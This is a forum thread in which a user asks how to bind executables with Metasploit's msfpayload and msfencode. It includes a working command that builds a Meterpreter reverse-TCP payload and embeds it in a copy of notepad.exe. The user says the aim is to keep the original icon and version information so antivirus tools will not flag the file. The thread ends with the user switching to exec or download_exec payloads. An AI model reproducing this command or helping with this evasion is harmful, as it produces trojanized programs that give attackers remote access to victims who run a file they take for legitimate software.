Metasploit msfpayload | using an existing executable?

Hello,

I'm trying to bind two executables with msfpayload and the msfencode features. However, I'm not sure that msfpayload will accept a preexisting executable instead of an input like 'windows/meterpreter/reverse_tcp'.

This is what I would normally use:
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=8080 R | ./msfencode -t exe -x notepad.exe -o notepad32.exe

This is what I'm trying to do:
./msfpayload MYFILE.exe X | ./msfencode -t exe -x notepad.exe -o notepad32.exe

Does msfpayload allow this type of executable input? If so, what am I doing wrong?

No. It does not. As expected it handles payloads/shellcode. I am not even sure what would you try to accomplish with this?

That's too bad..

It would be a quick fix for what I need. I'm basically trying to bind two executables together while retaining the icon and 'Version' info of the original executable. I figured AVs would not scream bloody murder if I used something other than the widely available exe binders without having to purchase unique stubs...

Google is your friend.

"metasploit using existing executables" returns

Metasploit Framework - Support #1244: msfencode an exploit into an existing exe - Metasploit Redmine Interface

Which when read states exactly what the combo is used for.

More here and here.

Thanks for the info, those links increased the size of my brain.

Since my original idea is not feasible, I've opted to go with the windows/exec payload(or maybe download_exec). I wasn't aware of the -k option. That effectively allows me to change strategy. My situation seems to be resolved... :)

Many thanks for the help!